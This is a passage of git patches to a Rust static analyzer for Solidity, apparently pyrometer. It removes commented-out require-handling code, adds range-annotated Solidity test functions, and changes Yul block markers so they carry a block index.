Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(node), false)) + } _ => Err(ExprErr::MemberAccessNotFound( loc, format!( diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index 7e82c489..3ce75046 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -23,565 +23,6 @@ impl Require for T where T: Variable + BinOp + Sized + AnalyzerBackend {} /// Deals with require and assert statements, as well as adjusts bounds for variables pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { - /// Inverts a comparator expression - fn inverse_expr(&self, expr: Expression) -> Expression { - match expr { - Expression::Equal(loc, lhs, rhs) => Expression::NotEqual(loc, lhs, rhs), - Expression::NotEqual(loc, lhs, rhs) => Expression::Equal(loc, lhs, rhs), - Expression::Less(loc, lhs, rhs) => Expression::MoreEqual(loc, lhs, rhs), - Expression::More(loc, lhs, rhs) => Expression::LessEqual(loc, lhs, rhs), - Expression::MoreEqual(loc, lhs, rhs) => Expression::Less(loc, lhs, rhs), - Expression::LessEqual(loc, lhs, rhs) => Expression::More(loc, lhs, rhs), - // Expression::And(loc, lhs, rhs) => { - // Expression::Or(loc, Box::new(self.inverse_expr(*lhs)), Box::new(self.inverse_expr(*rhs))) - // } - // Expression::Or(loc, lhs, rhs) => { - // Expression::And(loc, Box::new(self.inverse_expr(*lhs)), Box::new(self.inverse_expr(*rhs))) - // } - // Expression::Not(loc, lhs) => { - // Expression::Equal(loc, lhs, Box::new(Expression::BoolLiteral(loc, true))) - // } - e => Expression::Not(e.loc(), Box::new(e)), - } - } - - // /// Handles a require expression - // #[tracing::instrument(level = "trace", skip_all)] - // fn handle_require( - // &mut self, - // arena: &mut RangeArena>, - // inputs: &[Expression], - // ctx: ContextNode, - // ) -> Result<(), ExprErr> { - // ctx.add_gas_cost(self, shared::gas::BIN_OP_GAS) - // .into_expr_err(inputs[0].loc())?; - // match inputs.first().expect("No lhs input for require statement") { - // Expression::Equal(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, rhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Require operation `==` had no right hand side".to_string(), - // )); - // }; - - // let rhs_paths = rhs_paths.flatten(); - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_expr(arena, lhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `==` had no left hand side".to_string(), - // )); - // }; - - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths.flatten(), - // &rhs_paths, - // RangeOp::Eq, - // loc, - // ) - // }) - // }) - // } - // Expression::NotEqual(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, rhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Require operation `!=` had no right hand side".to_string(), - // )); - // }; - // let rhs_paths = rhs_paths.flatten(); - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.parse_ctx_expr(arena, lhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `!=` had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths.flatten(), - // &rhs_paths, - // RangeOp::Neq, - // loc, - // ) - // }) - // }) - // } - // Expression::Less(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, rhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Require operation `<` had no right hand side".to_string(), - // )); - // }; - // let rhs_paths = rhs_paths.flatten(); - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_expr(arena, lhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `<` had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths.flatten(), - // &rhs_paths, - // RangeOp::Lt, - // loc, - // ) - // }) - // }) - // } - // Expression::More(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, rhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Require operation `>` had no right hand side".to_string(), - // )); - // }; - // let rhs_paths = rhs_paths.flatten(); - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_expr(arena, lhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `>` had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths.flatten(), - // &rhs_paths, - // RangeOp::Gt, - // loc, - // ) - // }) - // }) - // } - // Expression::MoreEqual(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, rhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Require operation `>=` had no right hand side".to_string(), - // )); - // }; - // let rhs_paths = rhs_paths.flatten(); - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_expr(arena, lhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `>=` had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths.flatten(), - // &rhs_paths, - // RangeOp::Gte, - // loc, - // ) - // }) - // }) - // } - // Expression::LessEqual(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, rhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Require operation `<=` had no right hand side".to_string(), - // )); - // }; - // let rhs_paths = rhs_paths.flatten(); - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_expr(arena, lhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `<=` had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths.flatten(), - // &rhs_paths, - // RangeOp::Lte, - // loc, - // ) - // }) - // }) - // } - // Expression::Not(loc, lhs) => { - // self.parse_ctx_expr(arena, lhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `NOT` had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // let cnode = ConcreteNode::from( - // analyzer.add_node(Node::Concrete(Concrete::Bool(false))), - // ); - // let tmp_false = Node::ContextVar( - // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - // .into_expr_err(loc)?, - // ); - // let rhs_paths = - // ExprRet::Single(ContextVarNode::from(analyzer.add_node(tmp_false)).into()); - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths, - // &rhs_paths, - // RangeOp::Eq, - // loc, - // ) - // }) - // } - // Expression::And(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, lhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `&&` had no left hand side".to_string(), - // )); - // }; - - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_expr(arena, rhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `&&` had no left hand side".to_string(), - // )); - // }; - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // let cnode = ConcreteNode::from( - // analyzer.add_node(Node::Concrete(Concrete::Bool(true))), - // ); - // let tmp_true = Node::ContextVar( - // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - // .into_expr_err(loc)?, - // ); - // let node = analyzer.add_node(tmp_true); - // ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; - // analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - // let tmp_rhs_paths = ExprRet::Single(node); - - // // NOTE: the following is *sequence dependent* - // // we want to update the parts *before* the `And` op - // // to ensure the ctx_dep is correct - - // // update the part's bounds - // let lhs_cvar = - // ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - // let underlying = lhs_cvar.underlying(analyzer).into_expr_err(loc)?; - // if let Some(tmp) = underlying.tmp_of { - // if let Some((op, _inv_op, pair)) = tmp.op.require_parts() { - // analyzer.handle_require_inner( - // arena, - // ctx, - // &ExprRet::Single(tmp.lhs.into()), - // &ExprRet::Single(tmp.rhs.unwrap().into()), - // op, - // loc, - // )?; - // } - // } - - // // update the part's bounds - // let rhs_cvar = - // ContextVarNode::from(rhs_paths.expect_single().into_expr_err(loc)?); - // let underlying = rhs_cvar.underlying(analyzer).into_expr_err(loc)?; - // if let Some(tmp) = underlying.tmp_of { - // if let Some((op, _inv_op, pair)) = tmp.op.require_parts() { - // analyzer.handle_require_inner( - // arena, - // ctx, - // &ExprRet::Single(tmp.lhs.into()), - // &ExprRet::Single(tmp.rhs.unwrap().into()), - // op, - // loc, - // )?; - // } - // } - - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths, - // &tmp_rhs_paths, - // RangeOp::Eq, - // loc, - // )?; - - // analyzer.handle_require_inner( - // arena, - // ctx, - // &rhs_paths, - // &tmp_rhs_paths, - // RangeOp::Eq, - // loc, - // )?; - - // Ok(()) - // }) - // }) - // } - // Expression::Or(loc, lhs, rhs) => { - // self.parse_ctx_expr(arena, lhs, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `||` had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_expr(arena, rhs, ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation `||` had no left hand side".to_string(), - // )); - // }; - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // let lhs_cvar = - // ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - // let rhs_cvar = - // ContextVarNode::from(rhs_paths.expect_single().into_expr_err(loc)?); - - // let elem = Elem::Expr(RangeExpr::new( - // lhs_cvar.into(), - // RangeOp::Or, - // rhs_cvar.into(), - // )); - // let range = SolcRange::new(elem.clone(), elem, vec![]); - - // let new_lhs_underlying = ContextVar { - // loc: Some(loc), - // name: format!( - // "tmp{}({} {} {})", - // ctx.new_tmp(analyzer).into_expr_err(loc)?, - // lhs_cvar.name(analyzer).into_expr_err(loc)?, - // RangeOp::Or.to_string(), - // rhs_cvar.name(analyzer).into_expr_err(loc)? - // ), - // display_name: format!( - // "({} {} {})", - // lhs_cvar.display_name(analyzer).into_expr_err(loc)?, - // RangeOp::Or.to_string(), - // rhs_cvar.display_name(analyzer).into_expr_err(loc)? - // ), - // storage: None, - // is_tmp: true, - // is_symbolic: lhs_cvar.is_symbolic(analyzer).into_expr_err(loc)? - // || rhs_cvar.is_symbolic(analyzer).into_expr_err(loc)?, - // is_return: false, - // tmp_of: Some(TmpConstruction::new( - // lhs_cvar, - // RangeOp::Or, - // Some(rhs_cvar), - // )), - // dep_on: { - // let mut deps = - // lhs_cvar.dependent_on(analyzer, true).into_expr_err(loc)?; - // deps.extend( - // rhs_cvar.dependent_on(analyzer, true).into_expr_err(loc)?, - // ); - // Some(deps) - // }, - // ty: VarType::BuiltIn( - // analyzer.builtin_or_add(Builtin::Bool).into(), - // Some(range), - // ), - // }; - // let or_var = ContextVarNode::from( - // analyzer.add_node(Node::ContextVar(new_lhs_underlying)), - // ); - // let cnode = ConcreteNode::from( - // analyzer.add_node(Node::Concrete(Concrete::Bool(true))), - // ); - // let tmp_true = Node::ContextVar( - // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - // .into_expr_err(loc)?, - // ); - // let node = analyzer.add_node(tmp_true); - // ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; - // analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - // let rhs_paths = ExprRet::Single(node); - // analyzer.handle_require_inner( - // arena, - // ctx, - // &ExprRet::Single(or_var.into()), - // &rhs_paths, - // RangeOp::Eq, - // loc, - // ) - // }) - // }) - // } - // other => { - // self.parse_ctx_expr(arena, other, ctx)?; - // self.apply_to_edges(ctx, other.loc(), arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Require operation had no left hand side".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // let tmp_true = analyzer.add_concrete_var(ctx, Concrete::Bool(true), loc)?; - // let rhs_paths = ExprRet::Single(tmp_true.0.into()); - // analyzer.handle_require_inner( - // arena, - // ctx, - // &lhs_paths, - // &rhs_paths, - // RangeOp::Eq, - // loc, - // ) - // }) - // } - // } - // } - /// Do matching on [`ExprRet`]s to actually perform the require statement evaluation fn handle_require_inner( &mut self, From d200403cf681564ce031fb4ca8d9bea672a6dc94 Mon Sep 17 00:00:00 2001 From: plotchy Date: Fri, 19 Jul 2024 20:50:38 -0400 Subject: [PATCH 26/52] more require branch matches --- .../tests/test_data/require_with_killed.sol | 47 +++++++++++++++++-- crates/solc-expressions/src/require.rs | 9 ++++ 2 files changed, 51 insertions(+), 5 deletions(-) diff --git a/crates/pyrometer/tests/test_data/require_with_killed.sol b/crates/pyrometer/tests/test_data/require_with_killed.sol index f85937b2..2a2c2a40 100644 --- a/crates/pyrometer/tests/test_data/require_with_killed.sol +++ b/crates/pyrometer/tests/test_data/require_with_killed.sol @@ -9,20 +9,57 @@ contract RequireWithKilled { function requireLt(uint x) public { // set bounds for storeRange require(5 < storeRange && storeRange < 100); + "pyro::variable::storeRange::range::[6, 99]"; // set tighter bounds for x require(6 < x && x < 99); + "pyro::variable::x::range::[7, 98]"; // make x less than storeRange require(x < storeRange); } - function requireLtLocal(uint x) public { - uint y = 50; + function requireLte(uint x) public { // set bounds for storeRange - require(5 < y && y < 100); + require(5 < storeRange && storeRange < 100); // set tighter bounds for x require(6 < x && x < 99); - // make x less than storeRange - require(x < y); + // make x less than or equal to storeRange + require(x <= storeRange); + } + + function requireGt(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x greater than storeRange + require(x > storeRange); + } + + function requireGte(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x greater than or equal to storeRange + require(x >= storeRange); + } + + function requireEq(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x equal to storeRange + require(x == storeRange); + } + + function requireNeq(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x not equal to storeRange + require(x != storeRange); } function setCount() public { diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index f8117774..73467ee8 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -624,6 +624,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { (_, ExprRet::Null) | (ExprRet::Null, _) => Ok(()), (_, ExprRet::CtxKilled(..)) | (ExprRet::CtxKilled(..), _) => Ok(()), (ExprRet::SingleLiteral(lhs), ExprRet::Single(rhs)) => { + // ie: require(5 == a); ContextVarNode::from(*lhs) .cast_from(&ContextVarNode::from(*rhs), self, arena) .into_expr_err(loc)?; @@ -639,6 +640,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ) } (ExprRet::Single(lhs), ExprRet::SingleLiteral(rhs)) => { + // ie: require(a == 5); ContextVarNode::from(*rhs) .cast_from(&ContextVarNode::from(*lhs), self, arena) .into_expr_err(loc)?; @@ -654,6 +656,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ) } (ExprRet::Single(lhs), ExprRet::Single(rhs)) => { + // ie: require(a == b); let lhs_cvar = ContextVarNode::from(*lhs).latest_version_or_inherited_in_ctx(ctx, self); let new_lhs = self.advance_var_in_ctx(lhs_cvar, loc, ctx)?; @@ -665,6 +668,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { Ok(()) } (l @ ExprRet::Single(_) | l @ ExprRet::SingleLiteral(_), ExprRet::Multi(rhs_sides)) => { + // ie: require(a == (b, c)); (not possible) rhs_sides.iter().try_for_each(|expr_ret| { self.handle_require_inner( arena, @@ -679,6 +683,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { }) } (ExprRet::Multi(lhs_sides), r @ ExprRet::Single(_) | r @ ExprRet::SingleLiteral(_)) => { + // ie: require((a, b) == c); (not possible) lhs_sides.iter().try_for_each(|expr_ret| { self.handle_require_inner( arena, @@ -693,8 +698,11 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { }) } (ExprRet::Multi(lhs_sides), ExprRet::Multi(rhs_sides)) => { + // ie: require((a, b) == (c, d)); (not possible) + // ie: require((a, b) == (c, d, e)); (not possible) // try to zip sides if they are the same length if lhs_sides.len() == rhs_sides.len() { + // ie: require((a, b) == (c, d)); (not possible) lhs_sides.iter().zip(rhs_sides.iter()).try_for_each( |(lhs_expr_ret, rhs_expr_ret)| { self.handle_require_inner( @@ -710,6 +718,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { }, ) } else { + // ie: require((a, b) == (c, d, e)); (not possible) rhs_sides.iter().try_for_each(|rhs_expr_ret| { self.handle_require_inner( arena, From 4dcf69fb8fd0caaab2a51f8b4c01ebe4735bfa8a Mon Sep 17 00:00:00 2001 From: brock elmore Date: Fri, 19 Jul 2024 17:54:23 -0700 Subject: [PATCH 27/52] two failing tests remain --- crates/pyrometer/tests/test_data/logical.sol | 173 +++++++++--------- crates/shared/src/flattened.rs | 4 +- crates/shared/src/flattened_yul.rs | 4 +- .../src/context_builder/flattened.rs | 30 ++- 4 files changed, 113 insertions(+), 98 deletions(-) diff --git a/crates/pyrometer/tests/test_data/logical.sol b/crates/pyrometer/tests/test_data/logical.sol index fa969cc2..b297d8c7 100644 --- a/crates/pyrometer/tests/test_data/logical.sol +++ b/crates/pyrometer/tests/test_data/logical.sol @@ -1,33 +1,34 @@ // SPDX-License-Identifier: MIT or APACHE2 pragma solidity ^0.8.0; -enum MyEnum { - A, - B, - C -} + +// enum MyEnum { +// A, +// B, +// C +// } contract Logical { - function enumCmp() public pure returns (bool) { - return MyEnum.A > MyEnum.B; - } + // function enumCmp() public pure returns (bool) { + // return MyEnum.A > MyEnum.B; + // } - function yulCmp() internal pure { - uint x; - uint y; - assembly { - x := gt(2, 3) - y := eq(2, 3) - } - } + // function yulCmp() internal pure { + // uint x; + // uint y; + // assembly { + // x := gt(2, 3) + // y := eq(2, 3) + // } + // } - function yulComplicatedCmp(address a) internal { - bool success; - /// @solidity memory-safe-assembly - assembly { - success := and(eq(a, 0), call(gas(), a, 4, 5, 6, 7, 8)) //error - } - require(success); - } + // function yulComplicatedCmp(address a) internal { + // bool success; + // /// @solidity memory-safe-assembly + // assembly { + // success := and(eq(a, 0), call(gas(), a, 4, 5, 6, 7, 8)) //error + // } + // require(success); + // } function or(address a) internal virtual { assembly { @@ -39,75 +40,75 @@ contract Logical { } } - function eq(address a) public pure { - assembly { - if eq(0x0, a) { + // function eq(address a) public pure { + // assembly { + // if eq(0x0, a) { - } - } - } + // } + // } + // } - function not() public pure { - uint256 a = 100; - bool s = a < 100; - require(!s); - } + // function not() public pure { + // uint256 a = 100; + // bool s = a < 100; + // require(!s); + // } - function cond_not(uint256 a) public pure { - bool s = a < 100; - if (!s) { - require(!s); - } else { - require(s); - } - } + // function cond_not(uint256 a) public pure { + // bool s = a < 100; + // if (!s) { + // require(!s); + // } else { + // require(s); + // } + // } - function cond_and(bool a, bool b) public pure { - if (a && b) { - require(a); - require(b); - bool f = a && b; - require(f); - } else { - require(!a || !b); - } - } + // function cond_and(bool a, bool b) public pure { + // if (a && b) { + // require(a); + // require(b); + // bool f = a && b; + // require(f); + // } else { + // require(!a || !b); + // } + // } - function cond_if(uint256 a) public pure { - bool s = a < 100; - if (s) { - require(s); - } else { - require(!s); - } - } + // function cond_if(uint256 a) public pure { + // bool s = a < 100; + // if (s) { + // require(s); + // } else { + // require(!s); + // } + // } - function and() public pure { - uint256 a = 100; - uint256 b = 1000; - bool s = a > 99; - bool t = b > 999; - require(s && t); - } + // function and() public pure { + // uint256 a = 100; + // uint256 b = 1000; + // bool s = a > 99; + // bool t = b > 999; + // require(s && t); + // } - function or_basic() public pure { - uint256 a = 100; - uint256 b = 1000; - bool s = a > 99; - bool t = b < 1000; - require(s || t); - } + // function or_basic() public pure { + // uint256 a = 100; + // uint256 b = 1000; + // bool s = a > 99; + // bool t = b < 1000; + // require(s || t); + // } - function or() public pure { - uint256 a = 100; - uint256 b = 1000; - bool s = a > 99 || b < 1000; - require(s); - } + // function or() public pure { + // uint256 a = 100; + // uint256 b = 1000; + // bool s = a > 99 || b < 1000; + // require(s); + // } - function or_inline() public pure { - uint256 a = 100; - uint256 b = 1000; - require(a > 99 || b < 1000); - } + // function or_inline() public pure { + // uint256 a = 100; + // uint256 b = 1000; + // require(a > 99 || b < 1000); + // } } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index ed65d6de..8761fdf9 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -399,8 +399,8 @@ impl FlatExpr { | ArrayLiteral(loc, ..) => Some(*loc), FunctionCallName(..) - | YulExpr(FlatYulExpr::YulStartBlock) - | YulExpr(FlatYulExpr::YulEndBlock) => None, + | YulExpr(FlatYulExpr::YulStartBlock(_)) + | YulExpr(FlatYulExpr::YulEndBlock(_)) => None, } } } diff --git a/crates/shared/src/flattened_yul.rs b/crates/shared/src/flattened_yul.rs index 261d3e23..a07cb3ab 100644 --- a/crates/shared/src/flattened_yul.rs +++ b/crates/shared/src/flattened_yul.rs @@ -6,14 +6,14 @@ use solang_parser::pt::{ #[derive(Debug, Clone, Copy, Eq, PartialEq)] pub enum FlatYulExpr { - YulStartBlock, + YulStartBlock(usize), YulVariable(Loc, &'static str), YulFuncCall(Loc, &'static str, usize), YulSuffixAccess(Loc, &'static str), YulAssign(Loc, usize), YulVarDecl(Loc, usize, bool), YulFuncDef(Loc, &'static str, usize), - YulEndBlock, + YulEndBlock(usize), } impl std::fmt::Display for FlatYulExpr { diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index bb89e873..89e2ccfd 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -269,9 +269,14 @@ pub trait Flatten: flags: _, block: yul_block, } => { - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock)); + self.increment_asm_block(); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock( + self.current_asm_block(), + ))); self.traverse_yul_statement(&YulStatement::Block(yul_block.clone())); - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock)); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock( + self.current_asm_block(), + ))); } Return(loc, maybe_ret_expr) => { if let Some(ret_expr) = maybe_ret_expr { @@ -414,11 +419,16 @@ pub trait Flatten: YulStatement::VariableDeclaration(def.loc, def.returns.clone(), None); self.traverse_yul_statement(&rets_as_var_decl); - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock)); + self.increment_asm_block(); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock( + self.current_asm_block(), + ))); for stmt in def.body.statements.iter() { self.traverse_yul_statement(stmt); } - self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock)); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock( + self.current_asm_block(), + ))); let func = self.expr_stack_mut().drain(start_len..).collect::>(); @@ -1046,8 +1056,10 @@ pub trait Flatten: Try { .. } => todo!(), // Yul - YulExpr(FlatYulExpr::YulStartBlock) => { - self.increment_asm_block(); + YulExpr(FlatYulExpr::YulStartBlock(s)) => { + if self.current_asm_block() < s { + self.increment_asm_block(); + } Ok(()) } YulExpr(yul @ FlatYulExpr::YulVariable(..)) => self.interp_yul_var(arena, ctx, yul), @@ -1062,8 +1074,10 @@ pub trait Flatten: YulExpr(yul @ FlatYulExpr::YulVarDecl(..)) => { self.interp_yul_var_decl(arena, ctx, stack, yul, parse_idx) } - YulExpr(FlatYulExpr::YulEndBlock) => { - self.decrement_asm_block(); + YulExpr(FlatYulExpr::YulEndBlock(s)) => { + if self.current_asm_block() > s { + self.decrement_asm_block(); + } Ok(()) } }?; From 84ae430c4da974cced42a8bccd717f736416b264 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sat, 20 Jul 2024 